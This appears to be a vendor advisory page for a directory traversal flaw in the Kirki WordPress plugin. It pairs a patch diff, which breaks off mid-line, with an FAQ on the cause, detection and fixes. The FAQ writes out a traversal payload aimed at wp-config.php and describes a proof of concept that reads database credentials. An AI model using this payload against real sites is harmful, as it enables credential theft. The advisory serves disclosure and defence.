+use KirkiAppSupportsContentManager;
+use KirkiFrameworkHttpRequest;
+use KirkiFrameworkHttpResponse;
+use function KirkiFrameworkresponse;
+
+class PostController
+{
+ /**
+ * @var PostService
+ */
+ protected $service;
+
+ public function __construct(PostService $service)
+ {
+ $this->service = $service;
+ }
+
+ /**
+ * Validate WP post slug
+ *
+ * @since 6.0.14
+ *
+ * @param Request $request
+ *
+ * @return Response Returns a JSON response with the validation result.
+ */
+ public function validate_slug(PostSlugValidationRequest $request)
+ {
+ $is_valid = ContentManager::validate_slug(
+ $request->int('post_id', 0),
+ $request->string('post_type'),
+ $request->string('post_name')
+ );
+
+ return response()->json([
+ 'data' => $is_valid,
+ 'message' => $is_valid ? __('Slug validated successfully..', 'kirki') : __('Slug is not available.', 'kirki'),
+ ]);
+ }
+
+ public function get_all_posts_grouped_by_type(Request $request)
+ {
+ return response()->json([
+ 'data' => $this->service->get_all_posts_grouped_by_type($request->string('search', '')),
+ ]);
+ }
+}
--- a/kirki/app/Http/Controllers/Api/UserController.php
+++ b/kirki/app/Http/Controllers/Api/UserController.php
@@ -4,8 +4,11 @@
defined('ABSPATH') || exit;
+use KirkiAppConstantsUserMetaKeys;
use KirkiFrameworkHttpRequest;
+use KirkiFrameworkWordpressUserMeta;
+use function KirkiAppto_boolean;
use function KirkiFrameworkresponse;
use function KirkiFrameworkuser;
@@ -21,4 +24,22 @@
],
]);
}
+
+ public function set_walkthrough_state(Request $request) {
+ $state = $request->bool('walkthrough_shown_state', false);
+
+ UserMeta::update(user()->get_id(), UserMetaKeys::WALKTHROUGH_SHOWN_STATE, $state);
+
+ return response()->json([
+ 'data' => true,
+ ]);
+ }
+
+ public function get_walkthrough_state(Request $request) {
+ $state = UserMeta::get(user()->get_id(), UserMetaKeys::WALKTHROUGH_SHOWN_STATE);
+
+ return response()->json([
+ 'data' => to_boolean($state),
+ ]);
+ }
}
No newline at end of file
--- a/kirki/app/Http/Requests/Apps/AppSettingsRequest.php
+++ b/kirki/app/Http/Requests/Apps/AppSettingsRequest.php
@@ -7,8 +7,17 @@
use KirkiFrameworkHttpRequest;
use KirkiFrameworkSanitizer;
+use function KirkiAppensure_array;
+
class AppSettingsRequest extends Request
{
+ protected function prepare_for_validation()
+ {
+ $this->merge([
+ 'settings' => ensure_array($this->settings),
+ ]);
+ }
+
public function rules()
{
return [
--- a/kirki/app/Http/Requests/CollaborationComment/CollaborationCommentStoreRequest.php
+++ b/kirki/app/Http/Requests/CollaborationComment/CollaborationCommentStoreRequest.php
@@ -6,8 +6,18 @@
use KirkiFrameworkHttpRequest;
use KirkiFrameworkSanitizer;
+use function KirkiAppensure_array;
+
class CollaborationCommentStoreRequest extends Request
{
+ protected function prepare_for_validation()
+ {
+ $this->merge([
+ 'comment' => ensure_array($this->comment),
+ 'meta_data' => ensure_array($this->meta_data),
+ ]);
+ }
+
/**
* Validation rules.
*/
--- a/kirki/app/Http/Requests/CollaborationRequest.php
+++ b/kirki/app/Http/Requests/CollaborationRequest.php
@@ -0,0 +1,42 @@
+<?php
+
+namespace KirkiAppHttpRequests;
+
+defined('ABSPATH') || exit;
+
+use KirkiFrameworkHttpRequest;
+use KirkiFrameworkSanitizer;
+
+use function KirkiAppensure_array;
+
+class CollaborationRequest extends Request
+{
+ protected function prepare_for_validation()
+ {
+ $this->merge([
+ 'data' => ensure_array($this->data),
+ ]);
+ }
+
+ public function rules()
+ {
+ return [
+ 'data' => 'required|array',
+ 'data.*.parent' => 'nullable|string',
+ 'data.*.parent_id' => 'nullable|integer',
+ 'data.*.action' => 'nullable|array',
+ 'session_id' => 'required|string',
+ ];
+ }
+
+ public function filters()
+ {
+ return [
+ 'data' => Sanitizer::ARRAY,
+ 'data.*.parent' => Sanitizer::TEXT,
+ 'data.*.parent_id' => Sanitizer::INT,
+ 'data.*.action' => Sanitizer::ARRAY,
+ 'session_id' => Sanitizer::TEXT,
+ ];
+ }
+}
No newline at end of file
--- a/kirki/app/Http/Requests/Collection/CollectionStoreRequest.php
+++ b/kirki/app/Http/Requests/Collection/CollectionStoreRequest.php
@@ -6,6 +6,8 @@
use KirkiFrameworkHttpRequest;
use KirkiFrameworkSanitizer;
+use function KirkiAppensure_array;
+
class CollectionStoreRequest extends Request
{
/**
@@ -13,15 +15,14 @@
*/
protected function prepare_for_validation()
{
- $data = $this->get('data');
+ $data = ensure_array($this->get('data') ?? []);
+
+ $this->merge($data);
- if (is_string($data)) {
- $data = json_decode($data, true);
- }
-
- if (is_array($data)) {
- $this->merge($data);
- }
+ $this->merge([
+ 'fields' => ensure_array($this->fields),
+ 'basic_fields' => ensure_array($this->basic_fields),
+ ]);
}
/**
@@ -33,6 +34,7 @@
'ID' => 'nullable',
'post_title' => 'required|string',
'post_name' => 'nullable|string',
+ 'preset_type' => 'nullable|string',
'fields' => 'nullable|array',
'fields.*.id' => 'required|string',
@@ -41,6 +43,7 @@
'fields.*.title' => 'required|string',
'fields.*.help_text' => 'nullable|string',
'fields.*.required' => 'required|boolean',
+ 'fields.*.templateKey' => 'nullable|string',
'basic_fields' => 'nullable|array',
];
@@ -55,6 +58,7 @@
'ID' => Sanitizer::INT,
'post_title' => Sanitizer::TEXT,
'post_name' => Sanitizer::TEXT,
+ 'preset_type' => Sanitizer::TEXT,
'fields' => Sanitizer::ARRAY ,
'fields.*.id' => Sanitizer::TEXT,
@@ -63,6 +67,7 @@
'fields.*.title' => Sanitizer::TEXT,
'fields.*.help_text' => Sanitizer::TEXT,
'fields.*.required' => Sanitizer::BOOL,
+ 'fields.*.templateKey' => Sanitizer::TEXT,
'basic_fields' => Sanitizer::ARRAY ,
];
--- a/kirki/app/Http/Requests/CollectionItem/CollectionItemBulkActionRequest.php
+++ b/kirki/app/Http/Requests/CollectionItem/CollectionItemBulkActionRequest.php
@@ -6,8 +6,17 @@
use KirkiFrameworkHttpRequest;
use KirkiFrameworkSanitizer;
+use function KirkiAppensure_array;
+
class CollectionItemBulkActionRequest extends Request
{
+ protected function prepare_for_validation()
+ {
+ $this->merge([
+ 'post_ids' => ensure_array($this->post_ids),
+ ]);
+ }
+
/**
* Validation rules.
*/
--- a/kirki/app/Http/Requests/CollectionItem/CollectionItemConditionRequest.php
+++ b/kirki/app/Http/Requests/CollectionItem/CollectionItemConditionRequest.php
@@ -0,0 +1,48 @@
+<?php
+
+namespace KirkiAppHttpRequestsCollectionItem;
+
+defined('ABSPATH') || exit;
+
+use KirkiFrameworkHttpRequest;
+use KirkiFrameworkSanitizer;
+
+use function KirkiAppensure_array;
+
+class CollectionItemConditionRequest extends Request
+{
+ protected function prepare_for_validation()
+ {
+ $this->merge([
+ 'conditions' => ensure_array($this->conditions),
+ ]);
+ }
+
+ public function rules()
+ {
+ return [
+ 'query' => 'nullable|string',
+ 'conditions' => 'nullable|array',
+ 'conditions.*.type' => 'nullable|string',
+ 'conditions.*.post_type' => 'nullable|string',
+ 'conditions.*.from' => 'nullable|string',
+ 'conditions.*.to' => 'nullable|string',
+ 'conditions.*.category' => 'nullable|string',
+ 'conditions.*.where' => 'nullable|string',
+ ];
+ }
+
+ public function filters()
+ {
+ return [
+ 'query' => Sanitizer::TEXT,
+ 'conditions' => Sanitizer::ARRAY,
+ 'conditions.*.type' => Sanitizer::TEXT,
+ 'conditions.*.post_type' => Sanitizer::TEXT,
+ 'conditions.*.from' => Sanitizer::TEXT,
+ 'conditions.*.to' => Sanitizer::TEXT,
+ 'conditions.*.category' => Sanitizer::TEXT,
+ 'conditions.*.where' => Sanitizer::TEXT,
+ ];
+ }
+}
No newline at end of file
--- a/kirki/app/Http/Requests/CollectionItem/CollectionItemStoreRequest.php
+++ b/kirki/app/Http/Requests/CollectionItem/CollectionItemStoreRequest.php
@@ -7,6 +7,8 @@
use KirkiFrameworkSanitizer;
use KirkiFrameworkSupportsArr;
+use function KirkiAppensure_array;
+
class CollectionItemStoreRequest extends Request
{
/**
@@ -27,6 +29,10 @@
if (empty($data['post_status'])) {
$this->merge(['post_status' => PostStatus::DRAFT]);
}
+
+ $this->merge([
+ 'fields' => ensure_array($this->fields),
+ ]);
}
/**
--- a/kirki/app/Http/Requests/DataRequest.php
+++ b/kirki/app/Http/Requests/DataRequest.php
@@ -7,27 +7,22 @@
use KirkiFrameworkHttpRequest;
use KirkiFrameworkSanitizer;
+use function KirkiAppensure_array;
use function KirkiFrameworkis_valid_json;
class DataRequest extends Request
{
+ protected function prepare_for_validation()
+ {
+ $this->merge([
+ 'data' => ensure_array($this->data),
+ ]);
+ }
+
public function rules()
{
return [
- 'data' => [
- 'required',
- function ($value) {
- if (is_array($value)) {
- return true;
- }
-
- if (is_valid_json($value)) {
- return true;
- }
-
- return __("The data must be an array or a valid JSON string.", 'kirki');
- }
- ],
+ 'data' => 'required|array'
];
}
--- a/kirki/app/Http/Requests/DownloadGoogleFontRequest.php
+++ b/kirki/app/Http/Requests/DownloadGoogleFontRequest.php
@@ -7,8 +7,17 @@
use KirkiFrameworkHttpRequest;
use KirkiFrameworkSanitizer;
+use function KirkiAppensure_array;
+
class DownloadGoogleFontRequest extends Request
{
+ protected function prepare_for_validation()
+ {
+ $this->merge([
+ 'font' => ensure_array($this->font),
+ ]);
+ }
+
public function rules()
{
return [
--- a/kirki/app/Http/Requests/Media/PaginatedMediaListRequest.php
+++ b/kirki/app/Http/Requests/Media/PaginatedMediaListRequest.php
@@ -12,12 +12,12 @@
public function rules()
{
return [
- 'search' => 'string',
- 'category' => 'string',
- 'page' => 'integer|min:1',
- 'limit' => 'integer',
- 'sort_by' => 'string',
- 'sort_order' => 'string',
+ 'search' => 'nullable|string',
+ 'category' => 'nullable|string',
+ 'page' => 'nullable|integer|min:1',
+ 'limit' => 'nullable|integer',
+ 'sort_by' => 'nullable|string',
+ 'sort_order' => 'nullable|string',
];
}
--- a/kirki/app/Http/Requests/Page/GlobalStyleRequest.php
+++ b/kirki/app/Http/Requests/Page/GlobalStyleRequest.php
@@ -2,6 +2,8 @@
namespace KirkiAppHttpRequestsPage;
+use function KirkiAppensure_array;
+
defined('ABSPATH') || exit;
use KirkiFrameworkHttpRequest;
@@ -11,13 +13,20 @@
class GlobalStyleRequest extends Request
{
+ protected function prepare_for_validation()
+ {
+ $this->merge([
+ 'styles' => ensure_array($this->styles),
+ ]);
+ }
+
public function rules()
{
return [
'session_id' => 'required|string',
- 'styles' => 'array',
- 'styles.*' => 'array',
- 'styles.*.isGlobalStyle' => ['required', fn ($value) => is_falsy($value) ? __('The isGlobalStyle field is required.', 'kirki') : true],
+ 'styles' => 'nullable|array',
+ 'styles.*' => 'nullable|array',
+ 'styles.*.isGlobalStyle' => ['required', fn($value) => is_falsy($value) ? __('The isGlobalStyle field is required.', 'kirki') : true],
];
}
@@ -25,7 +34,7 @@
{
return [
'session_id' => Sanitizer::TEXT,
- 'styles' => Sanitizer::ARRAY,
+ 'styles' => Sanitizer::ARRAY ,
];
}
}
No newline at end of file
--- a/kirki/app/Http/Requests/Page/PageDataRequest.php
+++ b/kirki/app/Http/Requests/Page/PageDataRequest.php
@@ -9,46 +9,55 @@
use KirkiFrameworkHttpResponse;
use KirkiFrameworkSanitizer;
+use function KirkiAppensure_array;
+
class PageDataRequest extends Request
{
+ protected function prepare_for_validation()
+ {
+ $this->merge([
+ 'data' => ensure_array($this->data),
+ ]);
+ }
+
public function rules()
{
$rules = [
'session_id' => 'required|string',
- 'is_staging' => 'boolean',
+ 'is_staging' => 'nullable|boolean',
'data' => 'required|array',
'data.blocks' => 'prohibited',
'data.styles' => 'prohibited',
'data.usedStyles' => 'prohibited',
'data.usedStyleIdsRandom' => 'prohibited',
'data.usedFonts' => 'prohibited',
-
+
];
- switch($this->page_content_type) {
+ switch ($this->page_content_type) {
case 'blocks':
$rules = array_merge($rules, [
- 'data.blocks' => 'array',
+ 'data.blocks' => 'nullable|array',
]);
break;
case 'styles':
$rules = array_merge($rules, [
- 'data.styles' => 'array',
+ 'data.styles' => 'nullable|array',
]);
break;
case 'used-styles':
$rules = array_merge($rules, [
- 'data.usedStyles' => 'array',
+ 'data.usedStyles' => 'nullable|array',
]);
break;
case 'used-style-ids-random':
$rules = array_merge($rules, [
- 'data.usedStyleIdsRandom' => 'array',
+ 'data.usedStyleIdsRandom' => 'nullable|array',
]);
break;
case 'used-fonts':
$rules = array_merge($rules, [
- 'data.usedFonts' => 'array',
+ 'data.usedFonts' => 'nullable|array',
]);
break;
default:
@@ -61,12 +70,12 @@
public function filters()
{
return [
- 'data' => Sanitizer::ARRAY,
- 'data.blocks' => Sanitizer::ARRAY,
- 'data.styles' => Sanitizer::ARRAY,
- 'data.usedStyles' => Sanitizer::ARRAY,
- 'data.usedStyleIdsRandom' => Sanitizer::ARRAY,
- 'data.usedFonts' => Sanitizer::ARRAY,
+ 'data' => Sanitizer::ARRAY ,
+ 'data.blocks' => Sanitizer::ARRAY ,
+ 'data.styles' => Sanitizer::ARRAY ,
+ 'data.usedStyles' => Sanitizer::ARRAY ,
+ 'data.usedStyleIdsRandom' => Sanitizer::ARRAY ,
+ 'data.usedFonts' => Sanitizer::ARRAY ,
'session_id' => Sanitizer::TEXT,
'is_staging' => Sanitizer::BOOL,
];
--- a/kirki/app/Http/Requests/Page/PageRequest.php
+++ b/kirki/app/Http/Requests/Page/PageRequest.php
@@ -10,8 +10,19 @@
use KirkiFrameworkHttpRequest;
use KirkiFrameworkSanitizer;
+use function KirkiAppensure_array;
+
class PageRequest extends Request
{
+ protected function prepare_for_validation()
+ {
+ $this->merge([
+ 'blocks' => ensure_array($this->blocks),
+ 'conditions' => ensure_array($this->conditions),
+ 'custom_template' => ensure_array($this->custom_template),
+ ]);
+ }
+
public function rules()
{
return [
@@ -43,6 +54,8 @@
],
'custom_template' => 'nullable|array',
'custom_template.url' => 'nullable|url',
+ 'content_manager_collection_id' => 'nullable|integer',
+ 'content_manager_page_kind' => 'nullable|string|in:index,details',
];
}
@@ -57,6 +70,8 @@
'utility_page_type' => Sanitizer::TEXT,
'custom_template' => Sanitizer::ARRAY,
'custom_template.url' => Sanitizer::URL,
+ 'content_manager_collection_id' => Sanitizer::INT,
+ 'content_manager_page_kind' => Sanitizer::TEXT,
];
}
-}
No newline at end of file
+}
--- a/kirki/app/Http/Requests/Page/PageSettingsRequest.php
+++ b/kirki/app/Http/Requests/Page/PageSettingsRequest.php
@@ -7,18 +7,28 @@
use KirkiFrameworkHttpRequest;
use KirkiFrameworkSanitizer;
+use function KirkiAppensure_array;
+
class PageSettingsRequest extends Request
{
+ protected function prepare_for_validation()
+ {
+ $this->merge([
+ 'seo_settings' => ensure_array($this->seo_settings),
+ 'custom_code' => ensure_array($this->custom_code),
+ ]);
+ }
+
public function rules()
{
return [
- 'page_title' => 'string',
- 'slug' => 'string',
- 'page_description' => 'string',
- 'post_status' => 'string',
- 'featured_image' => 'url',
- 'seo_settings' => 'array',
- 'custom_code' => 'array',
+ 'page_title' => 'nullable|string',
+ 'slug' => 'nullable|string',
+ 'page_description' => 'nullable|string',
+ 'post_status' => 'nullable|string',
+ 'featured_image' => 'nullable|url',
+ 'seo_settings' => 'nullable|array',
+ 'custom_code' => 'nullable|array',
];
}
--- a/kirki/app/Http/Requests/Page/PageUpdateRequest.php
+++ b/kirki/app/Http/Requests/Page/PageUpdateRequest.php
@@ -12,9 +12,9 @@
public function rules()
{
return [
- 'post_title' => 'string',
- 'post_name' => 'string',
- 'post_status' => 'string',
+ 'post_title' => 'nullable|string',
+ 'post_name' => 'nullable|string',
+ 'post_status' => 'nullable|string',
];
}
--- a/kirki/app/Http/Requests/Page/PopupRequest.php
+++ b/kirki/app/Http/Requests/Page/PopupRequest.php
@@ -7,14 +7,25 @@
use KirkiFrameworkHttpRequest;
use KirkiFrameworkSanitizer;
+use function KirkiAppensure_array;
+
class PopupRequest extends Request
{
+ protected function prepare_for_validation()
+ {
+ $this->merge([
+ 'blocks' => ensure_array($this->blocks),
+ 'styleBlocks' => ensure_array($this->styleBlocks),
+ 'usedFonts' => ensure_array($this->usedFonts),
+ ]);
+ }
+
public function rules()
{
return [
- 'blocks' => 'array',
- 'styleBlocks' => 'array',
- 'usedFonts' => 'array',
+ 'blocks' => 'nullable|array',
+ 'styleBlocks' => 'nullable|array',
+ 'usedFonts' => 'nullable|array',
];
}
--- a/kirki/app/Http/Requests/Page/RenameStagingVersionRequest.php
+++ b/kirki/app/Http/Requests/Page/RenameStagingVersionRequest.php
@@ -0,0 +1,27 @@
+<?php
+
+namespace KirkiAppHttpRequestsPage;
+
+defined('ABSPATH') || exit;
+
+use KirkiFrameworkHttpRequest;
+use KirkiFrameworkSanitizer;
+
+class RenameStagingVersionRequest extends Request
+{
+ public function rules()
+ {
+ return [
+ 'version_id' => 'required|integer',
+ 'name' => 'required|string',
+ ];
+ }
+
+ public function filters()
+ {
+ return [
+ 'version_id' => Sanitizer::INT,
+ 'name' => Sanitizer::TEXT,
+ ];
+ }
+}
No newline at end of file
--- a/kirki/app/Http/Requests/Page/StagingVersionRequest.php
+++ b/kirki/app/Http/Requests/Page/StagingVersionRequest.php
@@ -0,0 +1,25 @@
+<?php
+
+namespace KirkiAppHttpRequestsPage;
+
+defined('ABSPATH') || exit;
+
+use KirkiFrameworkHttpRequest;
+use KirkiFrameworkSanitizer;
+
+class StagingVersionRequest extends Request
+{
+ public function rules()
+ {
+ return [
+ 'version_id' => 'required|integer',
+ ];
+ }
+
+ public function filters()
+ {
+ return [
+ 'version_id' => Sanitizer::INT,
+ ];
+ }
+}
No newline at end of file
--- a/kirki/app/Http/Requests/Post/PostSlugValidationRequest.php
+++ b/kirki/app/Http/Requests/Post/PostSlugValidationRequest.php
@@ -0,0 +1,33 @@
+<?php
+
+namespace KirkiAppHttpRequestsPost;
+
+use KirkiFrameworkHttpRequest;
+use KirkiFrameworkSanitizer;
+
+class PostSlugValidationRequest extends Request
+{
+ /**
+ * Validation rules.
+ */
+ public function rules()
+ {
+ return [
+ 'post_id' => 'nullable|integer',
+ 'post_type' => 'required|string',
+ 'post_name' => 'required|string',
+ ];
+ }
+
+ /**
+ * Sanitization filters.
+ */
+ public function filters()
+ {
+ return [
+ 'post_id' => Sanitizer::INT,
+ 'post_type' => Sanitizer::TEXT,
+ 'post_name' => Sanitizer::TEXT,
+ ];
+ }
+}
--- a/kirki/app/Managers/PageManager.php
+++ b/kirki/app/Managers/PageManager.php
@@ -5,6 +5,7 @@
defined('ABSPATH') || exit;
use KirkiAppConstantsKirkiDateTimeFormat;
+use KirkiAppConstantsOptionKeys;
use KirkiAppConstantsPageMetaKeys;
use KirkiAppConstantsPostTypes;
use KirkiAppModelsPage as PageModel;
@@ -12,12 +13,13 @@
use KirkiAppModelsPostMeta;
use KirkiAppSupportsFacadesGlobalData;
use KirkiFrameworkCollectionsCollection;
+use KirkiFrameworkSupportsFacadesOption;
use KirkiFrameworkConstantsDateTimeFormats;
-use KirkiFrameworkSupportsArr;
use KirkiFrameworkSupportsFacadesDate;
use function KirkiAppget_editor_mode;
use function KirkiAppget_timezone;
+use function KirkiAppis_falsy;
use function KirkiAppis_truthy;
use function KirkiFrameworkcollection;
use function KirkiFrameworkuser;
@@ -170,9 +172,10 @@
* Update last edited datetime of stage version
*
* @param int $page_id
+ * @param bool $has_legacy_global_style default false
* @return array|false
*/
- public function set_last_edited_datetime_of_stage_version(int $page_id)
+ public function set_last_edited_datetime_of_stage_version(int $page_id, bool $has_legacy_global_style = false)
{
$staged_versions = $this->get_all_staged_versions($page_id);
@@ -182,10 +185,10 @@
return false;
}
- $this->staged_versions = $staged_versions->map(function ($item, $index) use ($total_versions) {
+ $this->staged_versions = $staged_versions->map(function ($item, $index) use ($total_versions, $has_legacy_global_style) {
if ($index === $total_versions - 1) {
$item['last_updated'] = Date::now(get_timezone(true))->format(DateTimeFormats::DB_DATETIME);
- $item['no_legacy_global_style'] = true;
+ $item['no_legacy_global_style'] = !$has_legacy_global_style;
}
return $item;
@@ -259,7 +262,7 @@
return $this->staged_versions = collection();
}
- $staged_versions = $this->create_first_stage_version($page_id);
+ $staged_versions = $this->create_first_stage_version_if_empty($page_id);
} else {
$staged_versions = collection($staged_versions);
}
@@ -289,9 +292,12 @@
* @param int $page_id
* @return Collection
*/
- private function create_first_stage_version(int $page_id)
+ private function create_first_stage_version_if_empty(int $page_id)
{
- $new_version = $this->add_stage_version($page_id, 1);
+ // When stage version is empty, it means there is legacy global style blocks
+ $has_legacy_global_style = true;
+
+ $new_version = $this->add_stage_version($page_id, 1, [], false, $has_legacy_global_style);
$style_blocks_old_data = PostMeta::get_meta_value($page_id, PageMetaKeys::STYLE_BLOCKS, []);
$this->save_style_blocks($page_id, $style_blocks_old_data, $new_version);
@@ -307,8 +313,8 @@
$kirki_block_data = PostMeta::get_meta_value($page_id, PageMetaKeys::BLOCKS, []);
$this->save_blocks($page_id, $kirki_block_data, $new_version);
-
- return $this->publish_stage_version($page_id);
+
+ return $this->publish_stage_version($page_id, $has_legacy_global_style);
}
/**
@@ -318,9 +324,10 @@
* @param int $version_number
* @param array $prev_versions
* @param array|false $being_restored
+ * @param bool $has_legacy_global_style default false
* @return int
*/
- private function add_stage_version(int $page_id, int $version_number, array $prev_versions = [], $being_restored = false)
+ private function add_stage_version(int $page_id, int $version_number, array $prev_versions = [], $being_restored = false, $has_legacy_global_style = false)
{
$version_name = $being_restored
? sprintf(__('[Restored] %s', 'kirki'), $being_restored['name'])
@@ -328,6 +335,10 @@
$datetime = wp_date(KirkiDateTimeFormat::DB_DATETIME); // @todo: improve later
+ if (!empty($being_restored)) {
+ $has_legacy_global_style = !($being_restored['has_legacy_global_style'] ?? false);
+ }
+
$new_version = [
'version' => $version_number,
'edited_by_id' => user()->get_id(),
@@ -336,7 +347,7 @@
'last_updated' => $datetime,
'name' => $version_name,
'publish' => false,
- 'no_legacy_global_style' => true,
+ 'no_legacy_global_style' => !$has_legacy_global_style,
];
$prev_versions[] = $new_version;
@@ -352,19 +363,20 @@
* Publish stage version
*
* @param int $page_id
+ * @param bool $has_legacy_global_style default false
* @return Collection
*/
- public function publish_stage_version(int $page_id)
+ public function publish_stage_version(int $page_id, bool $has_legacy_global_style = false)
{
$stage_must = false;
$version_id = $this->get_most_recent_stage_version($page_id, $stage_must);
$this->staged_versions = $this->get_all_staged_versions($page_id)
- ->map(function ($item) use ($version_id) {
+ ->map(function ($item) use ($version_id, $has_legacy_global_style) {
$is_published = isset($item['version']) && intval($item['version']) === intval($version_id);
$item['publish'] = $is_published;
- $item['no_legacy_global_style'] = true;
+ $item['no_legacy_global_style'] = !$has_legacy_global_style;
return $item;
});
@@ -379,6 +391,112 @@
}
/**
+ * Rename stage version
+ *
+ * @param int $page_id
+ * @param int $version_id
+ * @param string $new_name
+ * @return Collection
+ */
+ public function rename_stage_version(int $page_id, int $version_id, string $new_name)
+ {
+ $staged_versions = $this->get_all_staged_versions($page_id, false);
+
+ $this->staged_versions = $staged_versions->map(function ($item) use ($version_id, $new_name) {
+ if (is_array($item) && isset($item['version']) && intval($item['version']) === $version_id) {
+ $item['name'] = $new_name;
+ }
+
+ return $item;
+ }
+ );
+
+ PostMeta::update_meta_value($page_id, PageMetaKeys::STAGED_VERSIONS, $this->staged_versions->to_array());
+
+ return $this->staged_versions;
+ }
+
+ /**
+ * Remove stage version
+ *
+ * @param int $page_id
+ * @param int $version_id
+ * @return Collection
+ */
+ public function remove_stage_version(int $page_id, int $version_id)
+ {
+ $stage_only = true;
+ $meta_keys = [];
+
+ foreach([
+ PageMetaKeys::STYLE_BLOCKS,
+ PageMetaKeys::GLOBAL_STYLE_BLOCK_DEPRECATED,
+ PageMetaKeys::USED_GLOBAL_STYLE_BLOCK_IDS,
+ PageMetaKeys::USED_STYLE_BLOCK_IDS,
+ PageMetaKeys::USED_FONT_LIST,
+ PageMetaKeys::BLOCKS
+ ] as $key) {
+ $meta_keys[] = $this->get_staged_meta_name($key, $page_id, $version_id, $stage_only);
+ }
+
+ PostMeta::query()
+ ->where('post_id', $page_id)
+ ->where_in('meta_key', $meta_keys)
+ ->delete();
+
+ $staged_versions = $this->get_all_staged_versions($page_id, false);
+
+ $this->staged_versions = $staged_versions->filter(function ($item) use ($version_id) {
+ // Filter out the version which is matched and not published
+ return !(
+ is_array($item)
+ && isset($item['publish'], $item['version'])
+ && is_falsy($item['publish'])
+ && intval($item['version']) === $version_id
+ );
+ })->values();
+
+ PostMeta::update_meta_value($page_id, PageMetaKeys::STAGED_VERSIONS, $this->staged_versions->to_array());
+
+ return $this->staged_versions;
+ }
+
+ protected function restore_page_meta(string $meta_key,int $page_id, int $old_version_id, int $new_version_id)
+ {
+ $old_meta_key = $this->get_staged_meta_name($meta_key, $page_id, $old_version_id);
+ $old_data = PostMeta::get_m
Frequently Asked Questions
What is CVE-2026-17604?
Vulnerability overviewCVE-2026-17604 is a directory traversal vulnerability in the Kirki plugin for WordPress, affecting versions up to and including 6.1.1. It allows authenticated attackers with editor-level access or above to read arbitrary files on the server, potentially exposing sensitive information like wp-config.php.
How does the vulnerability work?
Technical explanationThe vulnerability exists in the handling of the ‘data’ parameter, where a strpos()-based check is used to ensure the path stays within the uploads directory. However, strpos() only checks for a substring, not a prefix, so an attacker can craft a path like /wp-content/uploads/../../wp-config.php that contains the uploads base path as a substring while using traversal sequences to escape to other directories.
Who is affected by this vulnerability?
Affected usersAny WordPress site running the Kirki plugin version 6.1.1 or earlier is affected. However, exploitation requires an authenticated user with at least editor-level access, so sites with multiple users or compromised accounts are at higher risk.
How can I check if my site is vulnerable?
Detection stepsCheck the Kirki plugin version in your WordPress admin under Plugins. If it is 6.1.1 or lower, your site is vulnerable. You can also review your server logs for unusual requests to endpoints like /wp-json/kirki/v1/ with ‘data’ parameters containing traversal sequences.
What is the risk level and what does it mean?
Severity interpretationThe CVSS score is 4.9, which is medium severity. This means the vulnerability requires authenticated access but can lead to high impact, such as reading sensitive files that could compromise the entire site. It is not remotely exploitable without credentials, but the potential damage is significant.
How does the proof of concept demonstrate the issue?
PoC explanationThe PoC script logs in as an editor, then sends a POST request to the vulnerable endpoint with a ‘data’ parameter set to /wp-content/uploads/../../wp-config.php. If successful, the response contains the contents of wp-config.php, including database credentials, proving arbitrary file read.
What files can an attacker read?
Potential exposureAn attacker can read any file readable by the web server, including wp-config.php, .htaccess, other configuration files, and potentially source code. This can expose database credentials, API keys, and other sensitive information.
How do I fix the vulnerability?
Patch instructionsUpdate the Kirki plugin to version 6.2.0 or later, which includes a patch that properly validates the path using canonicalization methods like realpath(). This ensures that only paths actually within the uploads directory are accepted.
Are there any temporary mitigations if I cannot update immediately?
WorkaroundsAs a temporary measure, you can restrict editor-level access to trusted users only, or use a Web Application Firewall (WAF) rule to block requests containing traversal sequences in the ‘data’ parameter. However, updating the plugin is the only complete fix.
What is the root cause of the vulnerability?
Code analysisThe root cause is the improper use of strpos() to validate file paths. strpos() returns the position of a substring, not a boolean prefix check, so it can be bypassed by including the allowed base path as a substring while using traversal sequences. The patch replaces this with a robust path validation method.
Can this vulnerability be exploited remotely?
Exploitation requirementsNo, this vulnerability requires an authenticated user with editor-level access or above. It cannot be exploited by unauthenticated attackers. However, if an attacker has compromised a low-privileged account, they could escalate to read sensitive files.
What should I do if I suspect my site has been exploited?
Incident responseIf you suspect exploitation, immediately update the Kirki plugin to the patched version, rotate all database credentials and API keys, and review user accounts for unauthorized changes. Also, check server logs for suspicious requests and consider a full security audit.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






